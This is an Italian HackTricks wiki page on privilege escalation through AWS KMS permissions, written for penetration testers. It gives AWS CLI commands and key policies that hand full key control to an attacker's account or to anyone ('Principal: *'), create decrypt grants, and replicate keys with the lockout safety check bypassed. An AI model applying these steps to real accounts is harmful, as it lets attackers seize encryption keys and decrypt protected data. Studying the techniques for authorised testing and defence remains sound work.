AWS - KMS Privesc

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

KMS

Per maggiori informazioni su KMS consulta:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Con queste autorizzazioni è possibile modificare le autorizzazioni di accesso alla chiave in modo che possa essere utilizzata da altri account o persino da chiunque:

bash
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Consente a un principal di usare una KMS key:

bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

warning

Un grant può consentire solo determinati tipi di operazioni: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

warning

Nota che potrebbe volerci un paio di minuti perché KMS consenta all'utente di usare la KMS key dopo che il grant è stato generato. Una volta trascorso quel tempo, il principal può usare la KMS key senza dover specificare nulla.
Tuttavia, se è necessario usare il grant subito usa un grant token (controlla il codice seguente).
Per maggiori informazioni leggi questo.

bash
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Nota che è possibile elencare i grant delle chiavi con:

bash
aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Con queste autorizzazioni è possibile replicare una KMS key abilitata per multi-region in una regione diversa con una policy differente.

Quindi, un attacker potrebbe abusarne per ottenere privesc, appropriarsi dell'accesso alla KMS key e usarla

bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Questa autorizzazione consente di usare una key per decrypt alcune informazioni.
Per maggiori informazioni consulta:

AWS - KMS Post Exploitation

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks